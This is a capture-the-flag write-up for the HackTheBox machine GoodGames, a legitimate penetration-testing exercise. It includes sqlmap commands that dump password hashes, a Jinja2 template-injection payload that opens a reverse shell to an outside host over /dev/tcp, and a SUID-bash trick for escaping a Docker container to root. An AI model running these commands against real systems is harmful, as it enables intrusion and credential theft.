GoodGames - HackTheBox

This HackTheBox can be found here.

Recon

Like always, we’ll start with a Nmap scan:

sudo nmap -T4 -p- -oN allports -sC -sV 10.10.11.130

Nmap scan report for 10.10.11.130
Host is up (0.025s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
|_http-title: GoodGames | Community and Store
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
Service Info: Host: goodgames.htb

Only port 80 is open. Before we check it out, lets add goodgames.htb to our /etc/hosts file.

Now let’s check out the web app:

We’re looking at a gaming website. One of the first things I do when I see a web port is run it through dirb:

dirb http://goodgames.htb

Running dirb without any flags will use /usr/share/dirb/wordlists/common.txt as the wordlist. This isn’t very intensive, but it’s usually the first thing I’ll run (along with nikto). I’ll use gobuster with another wordlist if I want to do more enumeration.

We see that there is a signup/login page:

Initial Foothold

After creating an account, there wasn’t much functionality. Since we only have port 80 to go off of, I’ll run sqlmap against the login page. I saved a login request from burp and passed it to sqlmap:

sqlmap -r req.req --batch --level 3 --risk 3

After letting sqlmap run, we see that the login page is vulnerable to SQL injection:

After some database enumeration, we find that the database for the web app is called main and the table is user. We can dump the table:

sqlmap -r req2.req --batch -D main -T user --dump

The above dumps the MD5 hashes of the users. We can save the admin@goodgames.htb hash to a file and crack it with hashcat:

hashcat -m 0 md5.hash /usr/share/wordlists/rockyou.txt

Docker Shell

We get the plaintext of superadministrator. When we login as this account, there is a new link to internal-administration.goodgames.htb/:

We can add this to our /etc/hosts file and check it out:

echo '10.10.11.130 internal-administration.goodgames.htb' | sudo tee -a /etc/hosts

Logging in with admin:superadministrator we see the following:

I did some quick tests, and saw that there was a SSTI vuln when updating the Full Name setting. I entered {{7*7}} as my name:

The app returns 49.

When we find a SSTI vuln, we need to identify the template engine. Most of the time with CTF’s it’s Jinja2.

We can test for Jinja2 RCE by submitting {{namespace.__init__.__globals__.os.popen('whoami').read() }}:

Since we are already root, I’m guessing this is a docker container. Let’s start up a netcat listener and catch a shell:

{{namespace.__init__.__globals__.os.popen("bash -c 'bash -i >& /dev/tcp/10.10.14.8/1234 0>&1'").read() }}

We were right about being in a docker container. After some enumeration, we find the user.txt flag located at /home/augustus/user.txt:

If we look at /etc/passwd, we don’t see any users named augustus:

Because of the above, It’s likely that augustus is a user on the main host, and their home directory is mounted to the container. ifconfig shows that our IP is 172.19.0.2. Pinging 172.19.0.1 shows a valid host, which is likely the main host:

We can do a simple port scan using this script (from here):

export ip=172.19.0.1; for port in $(seq 1 1000); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done

Privilege Escalation

Let’s check for password reuse. Before ssh’ing, we need to upgrade our shell:

python3 -c 'import pty; pty.spawn("/bin/bash")

Now we can ssh as augustus with the password superadministrator:

ssh augustus@172.19.0.1

Running sudo -l fails as we don’t have the sudo binary. We can see the same home directory as we did within the container:

The file ownership stood out as being unusual. We have files owned by root in this directory. Let’s test by disconnecting from the ssh session and create a file in /home/augustus from the container. If connect again we see our created .txt file is owned by root:

Since we have a root shell within the container, we can copy /bin/bash to /home/augustus and set the SUID bit. This should allow us to SSH back in and run bash as root:

# From the SSH Session
cp /bin/bash .
exit

# Back in the container
# Take ownership of the file
chown root:root bash
# Set the SUID bit
chmod 4777 bash
ssh augustus@172.19.0.1
./bash -p

We can now grab the root flag located at /root/root.txt: